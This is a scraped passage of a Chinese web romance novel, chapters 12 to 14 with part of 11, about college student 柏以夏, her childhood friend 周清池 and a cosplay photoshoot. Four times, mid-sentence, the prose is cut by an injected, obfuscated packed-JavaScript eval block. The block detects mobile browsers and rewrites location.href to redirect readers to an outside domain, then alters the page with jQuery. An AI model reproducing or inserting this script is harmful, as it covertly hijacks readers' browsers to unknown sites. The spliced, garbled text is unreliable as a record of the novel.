周清池却没笑,轻叹一口气,“原本只是想给你看看,逗你开心。早知道还会把你吓到,我就不发了。” “我哪有那么脆弱啊,小周哥。”柏以夏往镜头前凑了凑,“是我自己喝水走神,怪不到你身上。” 说完,她又忍不住弯着眼睛笑起来,“我刚想给你打电话呢,谁知道你先打过来了,我们也算是心有灵犀了。” 柏以夏总是这样,永远都笑眯眯的,仿佛什么事情都烦恼不到她,周清池看着她的笑愣了一下神,“是,心有灵犀。” “今天已经是20号了,还有十天就放假了。”柏以夏掰着手指数了一下,“哼哼,你可要留够时间给我。毕竟,不仅有小夏老师给你安排的‘清池特-供一日游’,你还答应要和我一起玩拼图呢!” 周清池是掐着时间点给她打的视频,身边的室友叫了他一声,似乎是在叫他去上课。柏以夏见周清池敷衍地朝室友嗯了两声,转头看着自己,“我知道,答应了你的事情,我什么时候没兑现过。” 镜头往上挪了一下,柏以夏猜他应该是站起身在收拾书。果不其然,最后的镜头只照到了周清池的小半截下巴和衬衣领口,也不知道他是天生不怕热还是什么,这个天里居然还扣到了最上面一颗扣子。 柏以夏没听清他在说什么,目光只顾着上下鼓动的喉结移动,配着格外禁欲的衬衫,柏以夏硬生生的把自己看得红了脸。 “小夏?”许是没听见回话,周清池疑惑地喊了她一声。 “嗯?”柏以夏骤然回神,也不管周清池到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138956|180390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了什么,在自己脖子边上比划一下,“清池哥,你不热吗?要不把这里的扣子解开吧。” 话音刚落,镜头里的人往后退了一步,整个上半身露了出来。周清池含笑地看着她,伸手按在自己的纽扣上,“这个?” 柏以夏点点头。 下一秒,镜头一片漆黑,耳机里传来滴的一声。 柏以夏愣了两秒才反应过来是周清池把是视频挂断了。 她难以置信地去看消息,就见周清池在挂断视频后给她发了一条消息。 -请吃粥:要迟到了,晚上回来给你看。 柏以夏懊恼地锤了锤膝上的抱枕,兀自嘟囔道:“这算什么?勾-引我吗?好坏的周清池!!” 但她熟知周清池课表,知道他的课程比自己多太多了,就也没再去打扰他,只在两人的对话框里轰炸了一堆生气的表情包。 祁望到了吃饭的点才回复她。柏以夏看他大概要拍三组图,正好她额外画了两个。 柏以夏也没多想,把自己的图直接发给了祁望,让他看看行不行。 谁知他又像消失了一样,隔了很久都没回复。 柏以夏带着一头雾水等了半天,发现他真没回信之后,无奈地先去上课了。 晚上的是节水课,大部分的同学都在做自己的事情,偶尔抬起头看看老师那用包浆的PPT。 柏以夏脑子里面总是脑洞特别多,前段时间想着自己画点小条漫玩,就报了一个绘画班,打算还是多少学点专业的东西。 正好挑着这节课去摸鱼学习去了。 上课的时间总给人一种又短又长的感觉,柏以夏只觉得自己埋头画了点东西的功夫,这节课就过去了。 白易安和陈宛宜社团有活动,一下课就赶着收拾东西,瞧见柏以夏没动,问道:“夏夏,你不走吗?” 这节课是这间教室的最后一节课,柏以夏懒得去专门自习的教室找座位,于是摆了摆手:“反正这里也没课,我打算在这待一会儿。” “行,我和小宛可能今天回去得有点晚,你带钥匙了吗?”白易安自从上次卢茜的事情后就长了个心眼,每次出门都得额外问一句钥匙。 柏以夏听得好笑,拿着自己的钥匙在她面前晃了晃,“放心放心~” 这堂课在五楼上,很少有人乐意特意跑到五楼找教室自习,柏以夏待了近一个小时都没见有人来。 她画完图后疲倦地伸了个懒腰,瞄到讲台边的时间,歪着头想了想,点开周清池的课表看了一眼。 很好!已经是周清池的下课时间了! 柏以夏美滋滋地戴上耳机,轻车熟路地戳开聊天给他拨了一个视频通话过去。 周清池几乎没给她等待的时间就接通了视频,他眼里盛着笑意,张口喊道:“小夏。” 与此同时,教室的门被人急匆匆地推开。柏以夏耳边响起和耳机里一样的称呼。 “小夏!” 柏以夏一愣,茫然地转过头看去。 消失了一整个下午和晚上的祁望气喘吁吁地闯进门,怀里抱着一个背包,头发因为疾跑乱糟糟的。 柏以夏光顾着惊讶祁望潦草的打扮,没看见镜头里周清池听见这声称呼时骤然沉下去的脸色。 12. 第十二章 香草舒芙蕾 其实小夏这个称呼算不上奇怪,但因为家里人都喜欢叠着最后一个字地喊她“夏夏”,便没有那么多人会叫她小夏。 柏以夏看着祁望的时候才后知后觉地意识到,这么多年来,好像只有周清池一个人喜欢喊她小夏。她的心情一时间有些微妙,胸口升腾起一种莫名的感觉,就好像察觉到了别人从来没有注意到的东西一样。 有点开心得想要立马扑过去抱一抱周清池。 这一瞬间柏以夏特别想去和周清池说话,问他为什么不像别人一样喊她夏夏。 但祁望没给她这个机会。 柏以夏脸上的茫然太过于直白,让这个大男孩有些摸不着头脑,他变得微微有些拘谨,小心翼翼地问道:“我说错什么了吗?”他抬手揉了揉头发,“那天听见你朋友是这样称呼你的。我、我觉得叫全名有些生疏,所以就有样学样了。你不喜欢吗?” 祁望的这句话迅速地把柏以夏打醒了。 朋友。 柏以夏面上表情没什么变化,在心里苦了下去,唉声叹气:是啊,在周清池的眼里,他们只是朋友嘛,认识得很久的朋友。对他来说,小夏和夏夏的区别可能就是对朋友不那么肉麻的称呼而已。 兴奋的心情被浇下一盆冷水,之前想要去询问的想法逐渐散去,柏以夏摇摇头,“没关系,随便怎么称呼都好。” 祁望的脸色好了点,眼里的光彩也重新出现。但只是一秒的时间,他又皱起眉头,急促地解释道:“对了,我刚刚才拿到手机。下午那会儿我不是故意不回消息的!” 没他提醒的话,柏以夏还真想不起他的“离奇失踪”,好奇道:“你不说我都忘记了,怎么聊着聊着就消失了?” 祁望叹了一口气,把怀里的背包放到桌子上,拉开拉链,一只黄白相见的猫喵喵叫着探出头,冲着祁望就是一顿狂揍。 “我本来和你约个时间聊布景,但谁知道拿快递回去之后忘记关门了。这个家伙偷摸着就跑走了。”说着,祁望恨铁不成钢地戳了戳猫猫头,“我住的那个小区最近有毒猫的事情,我怕它被误伤,就赶忙去找了,结果就忘记了。” 柏以夏没想到他还养了猫,点了点头对这件事情表示理解,俯身去逗猫玩。 本来以为小猫会认生,结果它就像是和柏以夏很熟悉一样,扭着身子就把头伸了过去,自己在柏以夏的指尖蹭了蹭。 “诶?它还蛮亲人的嘛。”柏以夏笑道。 看见此等萌物,柏以夏下意识地想去给周清池分享,谁知拿起手机一看才发现两人的视频通话在一分钟之前就断了,她顿时失落起来。 聊天框里周清池给她发来解释,说是室友喊他去帮忙,先挂了。 柏以夏什么说话被他主动挂过通讯,心情一下子变得雾蒙蒙的,连小猫调皮地扒拉着她的裙摆都没反应过来。 她捏着手机不知道该说什么,沉默片刻后只能勉强着回了消息。 -啵一下:好呢,咱们一会儿再聊吧。 祁望忙着和小猫斗智斗勇,没注意到她的失落,反倒是因为它勾着裙摆有些手足无措,只能喊柏以夏:“小夏,你把它扒拉开吧。” 柏以夏因为这声小夏回过神,又微不可查地蜷了一下手指,才小声地应了一声,轻轻地小猫抱起来,佯装生气地点了点它的额头,“好调皮啊你!把我裙子勾坏了让你主人赔十条!” 说完想去抱它,却被祁望拦住。 柏以夏疑惑地看着祁望,“不能抱吗?我看它挺亲人的。” 祁望无奈地又把它塞回背包里,解释道:“不是不是,只是它今天出去野了好久,脏得很。别把你衣服弄脏了。”犹豫了一下,又补充道,“它其实也挺认生的,可能是还记得你,所以对你比较亲热。” 柏以夏吃惊地看向小猫,仔细地辨认了一番,直到看到它头顶那块形似五角星的花纹后才想起来,不由得笑道:“是它呀,洗干净了我都有点认不出来了。” “你还记得它?”祁望的声音里也带着些惊喜。 对于这个小东西,柏以夏可太记得,一堆流浪猫里就数它最能打,明明是最小的一只却总是能把其他一起讨食的猫打得嗷嗷叫。有段时间它的故事几乎成了柏以夏他们三人小群里的常客。 “我说后面怎么没看见它,原来是你收养了呀。”柏以夏在小猫头顶点了点,“过上好日子咯~” 祁望点点头,“想着本来就要搬出去自己住,找个伴也是好的。” 柏以夏转头看他,见他似乎是还有话要说,但犹犹豫豫地半天没说出来。她正打算开口,就听见教学楼响起一道铃声,一看时间已经十点过了,教学楼要关门了。 祁望立马松了一口气,笑道:“看来今天晚上时间不太够了,小夏你明天有时间吗?我们可以聊一聊布景。” 明天就是周五了,柏以夏一天都没有课。想着已经十点过了,柏以夏急着回去再联系周清池,也就没有再纠结祁望有什么未尽之言,接着他的话讲:“可以的,看你方便,我都有时间。” “行,那下午两点?” “可以。” 柏以夏去收拾自己的东西,祁望抱着猫等在外面,等她出来后关了灯,两人一起下了楼。 出校门的方向和宿舍楼相反,祁望想借着顺路的借口送一送柏以夏都没办法,只能在门口分别,“小夏,路上小心,明天见。” 回宿舍的路上到底能有什么危险?柏以夏哭笑不得,但看着祁望的背影莫名觉得松了一口气,拿出手机鼓捣了一下,嘟囔道:“什么室友比我重要?先讨厌你一会儿,周清池!” - P大宿舍楼,男寝423,被讨厌的周清池把摔断腿的室友丢到他的座位上,从兜里掏出手机,熟练地点进微信。 没看见有柏以夏新来的消息,脸色瞬间带了些寒气。 室友嘶嘶地抽着气,刚想给周清池说声谢,就看见他又一次点进购票软件,买了明天回家的车票。 他卡壳了一下,“等、等等,你原来这么恋家吗?去年这么没见你回家这么频繁?” 周清池把手机熄屏,朝他微微一笑,“回家看看我弟是不是在偷偷打游戏。”他视线往下一落,又点开手机对着室友的伤腿拍了一张照片。 室友莫名:“你这是要给弟?” “让他在学校打篮球的时候长点心,别也长第三条腿。”周清池轻飘飘地回答。 室友表情微妙了一瞬,还没开口就被周清池丢过来的拐杖砸了一脸。 “下次再卖力一点吧,争取长第四条。”周清池道。 “周清池你这个人的嘴真的很毒诶。” 周清池去扛室友的时候出了一身汗,正脱了衣服打算去洗漱,闻言轻哼一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138957|180390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “过奖。” 室友:……没有人在夸奖你好吧:) 但他很快就被周清池的身材吸走了仇恨值,一脸扭曲地看着他腹部分明的腹肌,“什么人啊,也没见你多爱运动,这等身材为什么不能在我身上?” 周清池默了一下,低头看了看自己的腹肌,脸上露出了若有所思的表情。 - 柏以夏嘴上说着讨厌周清池,但接到视频的时候还是一秒都没有犹豫就点了接通。 她藏在黑暗里微微撇了撇嘴,刚想谴责周清池,目光落到屏幕上后却挪不开了。 无他,屏幕里有男人在going她。 也不知道对面的周清池寝室里发生了什么,灯光暗得快和柏以夏这边一样了。周清池似乎是随手套了一件衬衫,扣子在中间草草扣了两颗,随着他的动作,下腹的衣物微微敞开,露出了紧实的腹肌。 柏以夏一边觉得有些不好意思,一边又僵着脖子直愣愣地盯着看。 原来周清池身材有那么好吗? 她平常只觉得他身材修长,比例极佳,光是站在那里就和建模一样好看,没想到藏在衣服下面的部分也这么有料。 一只手伸进屏幕中,按亮了一盏小灯。灯光的映照下,柏以夏清晰地看见腹肌上慢慢下滑的水珠。她情不自禁地吞咽了一下,心中尖叫呐喊:不是,他不会真的在勾-引我吧?!!! 这对吗?这真的对吗?难道自己是在做梦?还是在什么彼此都不知道的情况下他们已经在一起了? 柏以夏愣了好一会儿才想起来可以截图,但手放在按钮上时犹豫了一下,又问自己:这对吗? 然而思想跟不上手速,手机已经咔擦咔擦响了好几下。 柏以夏安慰自己:没关系的柏以夏,喜欢美好的事物是人之常情,你一点都没做错! 她深吸一口气,完全没有了顾及,又连着截了好几张图片。微笑着劝解自己,天呐你做得太棒了!柏以夏! 是呀,这有什么不对的呢?其实真要论起来,她和周清池还一起洗过澡,所以看看好竹马的腹肌应该不成什么问题吧? 当然,那是一两岁的时候。 “柏以夏?”周清池的声音在耳侧响起的时候,柏以夏猝不及防地抖了一下,手机险些摔下去。 内心深处还是觉得自己做了亏心事,柏以夏也没意识到周清池喊了她的全名,稳重地嗯了一声,乖巧地喊道:“晚上好呀小周哥。” 周清池拉开凳子坐下了。柏以夏虽然有些小小失望看不见他的腹肌了,但敞开的领口圆了上午没看见锁骨的梦,甚至还赠送了她一部分胸肌。 柏以夏:呜呼! 她眼神从周清池的脸上移到胸肌上,放在手机侧面的手指又有些蠢蠢欲动。 但周清池的脸对她来说吸引力还是最大,她又将目光放了回去,弯着眼睛笑了笑,“你那边怎么回事,好黑啊。” 说完这句话后柏以夏愣了一下,因为她突然发现今天晚上周清池的脸色有些不对劲,没了平常的笑容,没干的头发湿哒哒地垂着,遮住了眉目,显得格外的清冷。 “小周哥?你怎么了?是不是不太开心?”柏以夏急了起来,什么美色都丢到一边去了,恨不得自己穿进屏幕。 听了她的这句话周清池倒是扬起了嘴角,抬眼看着她,“和那位朋友聊完了?” 13. 第十三章 抹茶冰淇淋球 周清池这句话里,朋友两个字咬得轻飘飘的,配上他那骤然抬眸的神情,恍惚间给了柏以夏一种被“抓奸”的错觉。 但她一时半会被美色迷晕的脑子转不过弯,疑惑道:“朋友?什么朋友?” “叫你小夏那个。”周清池道。 “噢!你说祁望呀。”柏以夏道,“他是找我拍COS照的啦,我之前和你提过一点,不知道你还记得不。” 周清池对游戏方面不太了解,极偶尔会和柏以夏一起玩一些友尽的双人游戏,但对于她喜欢的角色,周清池记得很清楚,“我知道,塞尔戈维?” 柏以夏予以他赞赏的眼神,夸道:“很棒!不愧是清池哥,我只提过一次就记住了我们小塞的名字。”她撇撇嘴,“不像嘉嘉,念了一百遍也记不得。” 和柏以夏对比起来,聂嘉沅就彻底和二次元沾不上边。就连柏以夏都一度好奇,她们俩是怎么玩得这么好的,最后归结于不论柏以夏说什么,聂嘉沅都机械地点头,也不知道进脑子还是空气。 周清池笑了一下,“这又怪上了?不是你抱着聂嘉沅送你的塞尔戈维周边大嚎的时候啦?” 柏以夏被迫想起自己的糗事,小声地哀嚎一声,“周清池!” 被喊了大名,周清池没什么反应,只是看着屏幕沉默了几秒,而后小声地喊道:“小夏。最近都看不见你,为什么你那边总是光线好暗。” 他只能看见不断抖动的镜头和偶尔冒出来不知道是不是柏以夏的一小截下巴。嘴边明明还有一句话要说,却只能硬生生地咽回去,免得将人吓跑。 柏以夏不悦地哼哼两声,“因为最近我都在教室活动,每次你打电话的时候都正好回寝室,是你挑不好时间。”她顿了一下,又颇为幽怨地说,“再说了,你今天也黑黢黢的,我什么都看不见。” 其实是骗你的,看见了你的腹肌和胸肌。 嘻嘻:D 心里偷偷地冒着坏水,柏以夏脸上一副不开心的样子,实际上早就在心里放了几轮烟花了。 “对不起。” 猝不及防地听见一句道歉,柏以夏瞬间和炸毛的猫一样停在了原地,眼睛瞪得溜圆。 柏以夏的语气一下子就软下去了,“小周哥?我和你开玩笑的,没有怪你。” 周清池却摇摇头,“我是不是联系你有些频繁了?感觉总是会打扰到你。” 柏以夏说不出话,柏以夏心都要碎了。 以前担心电话视频联系过多,柏以夏都收敛了很多,只在实在想念的时候会给周清池去一个电话。 后来周清衍险些在自己家里烧晕过去的事情发生了之后,柏以夏就借着要给周清池汇报弟弟的由头,三天两头的找他。 也许是习惯了,再过了段时间,都不需要柏以夏打过去,在她纠结的时候周清池的电话就会打过来。 两个人似乎已经认定了这样的每天联系,一直到现在。 柏以夏心里难过得要死,可话是自己先说出口的,总不能去怪人家。于是跟个犟驴一样,后半截路程再没有说过一句话,尽想着办法忍住眼泪去了。 直到到了寝室楼下,才干巴巴地憋出一句,“我到了。” 那头的周清池虽然被忽视了一路但也依旧保持着柏以夏心目中的好脾气,没出什么意外地嗯了一声,嗓音一如既往的温和,“生气啦?” 气得想把你暂时拉黑!!柏以夏躲在镜头盲区鼓了鼓脸颊,而后平淡地回复道:“没有呀,我生什么气。” “是吗?那和我视频的河豚是?”周清池疑道。 柏以夏还以为自己拿反了手机,试探地露出自己的半张脸,只看见了快要拧成麻花的眉头,她小声嚷嚷:“什么嘛!周清池你骗我!” “最近你的安排好像挺多的,我感觉总是打扰到你。”看见了她的脸,周清池像是放下心一样,缓缓开口道。 听他这么一说,柏以夏一时间不知道该说什么。最近忙着画图,自然空闲的时间没那么多,但对她来说,周清池的电话陪伴反而是最好的灵感来源。 可哪家的朋友会黏糊成这样? 她垂在身侧的手挠了挠腿上的蚊子包,气势瞬间弱了下来,睁着眼说瞎话,“哪有,也就很闲吧。”她抿了抿唇,“我也没有嫌你很烦呀。” 柏以夏想着平时和周清池挂着电话,聊着些有的没的,就像是回到了高中时期一样,身边不是空落落的。她很会交朋友,身边也不缺可以说话的人,可那些都不是周清池。 想起之前那通陡然挂断的电话,柏以夏心中突然涌起一股委屈,“你才是呢,是不是嫌我烦了?” “怎么会?”周清池紧急辩解,“我只是——” 他的话说到一半戛然而止,柏以夏等了两秒没再听见声音,纳闷地低头一看,通话又挂断了。 柏以夏简直难以置信,她呆愣愣地看着手机,半晌眼眶默默地红了起来。心中先是升起一股火气,但很快地就被委屈茫然取代,她无措地反复点着和周清池的聊天框,但过了好一会儿一句话都没发出去。 我是不是真的给周清池添了很多麻烦?柏以夏沮丧地垂下头,难过地想着,自己无形的喜欢是不是给他很大的压力,但碍于朋友的身份他不好意思说。 柏以夏抬头看了看自己周围,四五对校园情侣亲昵地凑在一起,头挨着头,小声地说着话。 柏以夏默默地挪开了位置,心情沉闷地蹲下,手指悬在玻璃膜上,顿了几秒后落在了聂嘉沅的头像上。 叮叮叮。 通话界面忽地弹了出来,是一串不熟悉的号码。 柏以夏没有接未知来电的意思,刚想掐掉电话,一滴水珠落在了接听上。 “小夏!” 对面的声音一传出来,柏以夏便忍不住哽咽起来,她拼命忍着情绪,含糊地问道:“为什么要挂掉电话。” “对不起小夏。”周清池说出了今天第二次道歉,声音不复之前的柔和,变得有些低哑,“之前是我室友,他打篮球把腿摔了,我去接他。至于刚才,晚上的时候片区停电了,我下午没注意手机电量,刚刚突然没电了。” 柏以夏闻言愣了一下,“真的吗?” 周清池舒了一口气,“当然是真的了,我从来不会骗你的。” 这倒是句实话,柏以夏心情好了不少,她支吾着问道:“你室友……没事吧?” 周清池等了半天等来了这句话,无奈地笑了一下,远远地瞥了一眼不惜单脚蹦也要听他电话墙角的室友,“没事,但他可能一会儿就要断掉另一只了。” 柏以夏不明所以地歪了下头,“为什么?” 周清池冷笑一声,“因为就是他下午拿我的手机挂着直播,耗光了电量还没给我充上。” 柏以夏咋舌,磕巴着说道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138958|180390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那你、你稍微轻一点,不然还得帮他带饭呢。” 话落,电话两端的人都是一顿,过了两三秒后齐齐地笑了起来。 周清池听着柏以夏的笑声,高高提起的心终于落回肚子里,“不生气啦?” “看在你去做好人好事的份上,就不生气了。”柏以夏好心地原谅了他,“那今晚你只能早点休息啦。” “是,但我明天一早来电了就给你发消息,好吗?” 这当然好了!柏以夏下意识地点点头,又想到不是在视频,周清池根本看不见这个动作,只好嗯了一声,“那晚安吧小周哥。把手机还给你可怜的瘸子室友。” 周清池似乎是在那边小声地嘀咕了一句“他才不可怜”,回道:“我知道了。晚安小夏,明天见。” 明天其实见不到,但柏以夏喜欢这句道别,她弯了弯眼睛,心情很好,“明天见!” 电话挂断后,柏以夏慢悠悠地往寝室走去,心里沉甸甸的。 远在P大的周清池捏着手机,垂眸盯着地面,沉重地叹了一口气。总算住着拐杖蹦跶到他旁边的室友八卦地扭起眉毛,拿肩撞了撞周清池,调笑道:“哎呦喂,什么事让我们周哥也有这么着急的一面了?” 他贱兮兮地瞥了一眼自己的手机,“我就说你怎么忽然这么恋家了,什么弟弟都是幌子,是有情况了吧?” 周清池抬起头睨了他一眼,突然扬了扬下巴,冷着脸道:“靠墙。” 他平常脾气算是好的,虽然嘴毒了一些,但总是挂着笑,室友头一回见他冷脸的样子,愣了一下,回过神来的时候已经按照他说的那样靠墙站着了。 “咋、咋了?你要干啥?”室友一时间有些摸不着头脑,磕巴着问道。 周清池看着他,突然勾起嘴角笑了一下,而后拿过他的拐杖。 室友还以为周清池要扶自己,正要把手伸出去,就见周清池往后退了一步避开他的手,温声道:“不知道你出来要干什么,也许是看夜景吧。多看看,我先回去了。” 说完,真的一手提着拐杖,一手捏着室友的手机往寝室走去。 十点过,停电。 这两个词放在这里就表明了大阳台的无人问津。 室友表情空白,扭头看了看漆黑一片的走廊,深吸一口气,“周清池你个****!!” 周清池充耳不闻。 倒是撞上刚回来的另一位室友,他看着周清池手里的拐杖,明显愣了一下,视线往下一落,疑道:“清池,你受伤了?” 周清池摇摇头,“不是我,是封黎安。” “那小子……那怎么是你拿着拐杖?” “他莫名其妙要去大阳台看风景,还非说要自己蹦跶回来。”周清池耸耸肩,扯淡的话张口就来。 室友无奈地叹了一口气,脚步转向大阳台,“我真是服了,这个点蹦跶,是生怕没人投诉是吧。” 周清池轻哼一声,“谁知道呢。对了,秦哥,你有充电宝吗?” 秦哥道:“有啊,在桌子上呢,你要用就自己拿。” 周清池道了谢后直接给自己关机的手机充上电,两分钟后总算能开机了。他解开锁屏,壁纸上的女孩笑意盈盈地望着他,暂时抚平了莫名升起的怒气。 购票软件弹出消息,提醒他明天的班次。 周清池趴在桌子上,指尖划过女孩的脸,“小夏……” 14. 第十四章 葡萄冰沙 转过天去,气温不知道怎么的居然升了两度,云层薄得挡不住一丝阳光。 柏以夏就跟株畏热的花一样,焉耷耷。她下午出门的时候就换了一件粉色的吊带,肩带边上缀着一圈儿淡黄色的小雏菊,活泼得很。望见外边的太阳大,她又套上了一件白色的防晒服。 祁望还没过来,柏以夏便自己在咖啡馆里找了个位置,捏着电容笔把分区标出来。 忽然肩膀被拍了一下,柏以夏以为是祁望来了,转头看去才发现是一位不认识的女生,她面带羞涩,冲着柏以夏笑了一下,“小姐姐你好呀。嗯、我想问一下你里面那件内搭的链接可以吗?就是,很好看!” 这算什么事儿,柏以夏失笑,点了点头,从一边拿过自己的手机,热情地朝她推荐:“没关系的,我是在这家买的。不过你可以要注意一下,它的肩带有点硬,会磨得不太舒服。” 柏以夏歪着头想了想,摊开手机递到女生面前,“咱们可以加一个好友,还有另外两件会舒服一些,我直接把链接推给你吧。” 女生没想到柏以夏这么好说话,愣了一下后才匆匆扫了好友码,连声说着谢谢。柏以夏看她都要红到脖子了,明白她应该是那种不太擅长和陌生人交际的类型,于是加完好友后就笑眯眯地和人说了再见,没再拉着她说别的。 送走那位女生后,柏以夏下意识地往门口一看,祁望不知道来了多久了,也不进门,就把着门把手看着自己愣神。 这莫名其妙的。柏以夏看着他一头雾水,试探性地朝他挥了挥手。 祁望迅速回神,冲她展颜一笑,三步并两步地走了过来,“不好意思啊小夏,老师多说了两句。等久了吧?” 柏以夏摇摇头,“没关系,我在这吹着空调呢。你刚才站那不进来干嘛呢?” 说到这个,祁望颇有些不好意思地轻咳一声,“我看见你在和别人说话,一时间有点愣住了。” 这解释得柏以夏更迷茫了,但既然祁望没有明说理由,她也不再追问,站起身打算去点个什么当下午茶吃了,顺嘴问道:“我去点个吃的,你需要什么吗?” 祁望道:“你吃什么呀?” 柏以夏嘴馋这里的芒果冰沙很久了,祁望听完后点点头,把背包搁下,热切地笑了一下,“那我去点吧,算作赔礼了。” “啊……”柏以夏本想拒绝,但祁望却摆出一副“你要是拒绝我我会特别伤心”的表情,柏以夏瞬间咽下拒绝的话,“那麻烦你了。” 祁望的眼睛瞬间亮了起来,柏以夏甚至觉得他迈向吧台的脚步都格外的雀跃。 心里涌起一种莫名的预感,柏以夏下意识地点开聊天框,对上聊天背景上那颗心,又无措地蜷了下指尖。从昨晚周清池给他道歉的那一刻开始,她就总有一种不安的感觉,好像周清池一下子就离她特别特别远。 对不起这三个字分明是再正常不过的道歉语,他们也常常说,但没有一次像昨晚周清池口中那样正经板正,听得人陌生得紧。 柏以夏轻轻地叹了一口气,抿了抿唇,慢腾腾地敲了一行字,“今天下午有人请我吃冰!嘿嘿,芒果冰沙好吃好吃最好吃!” 周清池没有立马回复,柏以夏便又复制了一遍发给聂嘉沅。 这人不知道是在上课摸鱼还是在做什么,很快的就来了一句: -再加一沅:放屁,桃子沙冰最好吃! 柏以夏被她这句话逗笑了,思索了一下正打算给她说自己的心事,面前就轻巧地搁下一个透明小碗,芒果的香味扑鼻而来。 祁望也端着一碗同款在她对面落座,笑道:“我还没吃过这个呢。” 柏以夏只能先放下手机,安利道:“你尝尝吧,很好吃的!” 冰沙不能太大口的吃,不然直接给人脑子冻上。柏以夏小口小口地抿着,隔一会儿便把勺子叼在嘴里,打开平板横着发在两人中间,含糊道:“你看看呢,这三张都是。” 祁望匆匆把目光从她脸上收回,垂头仔细地看着这三副场景。 一张都还没看完,他便小声地惊叹道:“这些都是你这几天画的吗?好精细好厉害!” “开学事少,我空闲得很。” 柏以夏自塞尔戈维出场后就格外喜欢他,画场景图的时候更是下手没轻没重的。繁复细腻的画面配着俊美的角色,祁望看得心动,但也隐隐有些担忧。 场景搭设有一定的难度,特别是那个蔷薇花架。火红的花朵缠绕在架子上,画中的角色伸手触着低垂的枝蔓,只露出侧脸。 祁望的表情称得上复杂,柏以夏看得心焦,不由得问道:“怎么样?有合心意的吗?” 祁望点点头:“都特别喜欢。” 还不等柏以夏高兴,他便支吾着道:“只是……” 从所周知,往往只是后面跟不上什么好词,柏以夏莫名有种不好的预感。 果不其然,祁望垂着眉,惨兮兮地看着她:“我报名了官网的周年cos,时间有点紧了,可能布景有点来不及……” 越说到后面,他声音越小。 柏以夏顿觉晴天霹雳,“截止日期是多久?” “嗯……我看看。”祁望翻出时间,脸上的表情又白了一分,“下、下周四。” 柏以夏沉默了一下,纳闷道:“你?” 祁望猜也猜得到柏以夏想说什么,他抱歉地说道:“暑假之前我就定制了衣服,因为工期太长,我是最近看见快递消息才想起。实在抱歉。” 柏以夏摇摇头,冲他安慰地笑了一下。她拿过自己的平板,看着几副图,大致有了想法。 “这样吧,选一个就好,再加上官图的那个,你也有两个景了。”柏以夏道,“剩下的图也留给你,cos服又不是一次性的,你以后还想出小塞的话再拍也不迟。” “不急于一时。” 那几幅图一看就花了柏以夏不少心思,祁望没想到她竟然一点气都没有,甚至还安慰起了自己。一时间心跳得格外快。 “不过后期p的话,效果没那么好,可能还是得布景。” 祁望急忙回神:“官图那个我已经让朋友帮我搭好了,可以直接进棚。” “棚?” 祁望解释道:“我又一个朋友开了一家摄影棚。我请她帮我留了一周的时间,从今天开始算。” 柏以夏闻言一喜,“那太好了!距离怎么样?要是不远的话,我们今天就去开始搭吧。” “不远,从学校过去也就半个小时的样子。”祁望道。 - 时间定好以后一切都好说了。柏以夏乐颠颠地跑回了寝室,脸上的笑藏都藏不住。 白易安最知道她最近的动向,扒着椅子边贼兮兮地笑着,道:“哎呦我们夏夏,什么事情这么开心啊?” 柏以夏看见她的笑容,心里明白她在想什么,自然不会如她的意。何况自己本来也没有那个心思,于是无辜又欣喜地看着白易安,道:“真的太谢谢你了小白!” 听见她这话,白易安得意之情都要溢出来了,她微微扬起头,正等着柏以夏接下来的“喜讯”。 谁知柏以夏却说道:“能给我推拍cos,简直幸福死了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138959|180390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白易安差点没从椅子上摔下去,她一脸茫然,“啊?就这?就这个?!” 柏以夏挑挑眉,“是呀。很幸福~我太爱你小白~” 说着,柏以夏凑上去抱着白易安蹭蹭脸颊。 白易安虽然郁闷,但看柏以夏开心,也开心起来,“幸福就好幸福就好。” 柏以夏收拾完东西出了寝室后才偷偷笑了起来。 每次得了趣事后总是习惯了和周清池分享,柏以夏点进微信后才发现之前发给周清池的消息还没有被回复。 心情说不出的失落下了。 柏以夏有些气闷地狠击了一下周清池的头像,“不是周五下午没课吗?为什么不回我!!” 不在同一所学校上学后,最大的弊端就是再也不能及时抓到那个不回消息的家伙了。 